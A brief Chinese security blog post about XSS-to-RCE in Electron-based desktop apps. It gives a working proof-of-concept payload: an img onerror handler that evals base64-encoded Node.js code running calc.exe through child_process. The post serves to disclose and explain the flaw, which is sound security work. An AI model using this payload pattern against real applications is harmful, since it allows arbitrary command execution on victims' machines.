本文由呼阿米原创
当应用程序使用Electron框架时,通过接收攻击者精心构造的Payload后可能会产生命令执行漏洞。
本文字数:326字 图片数量:2张 阅读时间:1分钟
0x01 简介
Electron 是一个开源的跨平台框架,用于构建基于Web技术(HTML、CSS和JavaScript)的桌面应用程序,见图1。它由 GitHub 公司开发并维护,目前具有 108k star。
Electron 基于 Chromium 和 Node.js,通过将渲染引擎和 JavaScript 运行时引入桌面环境,使开发者能够使用前端技术构建功能丰富、原生应用体验的跨平台桌面应用程序。由于 Electron 的开放性和易用性,它成为许多知名应用程序的选择,如 Visual Studio Code、Slack、WhatsApp、GitHub Desktop 等。
由于 Electron 内置了Chromium内核,并且拥有直接执行Nodejs代码的能力,攻击者可借助XSS漏洞在服务器端远程执行任意代码。
图1:Electron 官网
0x02 漏洞复现
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMuZXhlJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewphbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsgCn0pOw==`,`base64`).toString())'>
结果见图2:
图2:在服务端打开计算器
往期推荐
欢迎关注!
原文始发于微信公众号(呼阿米):某布RCE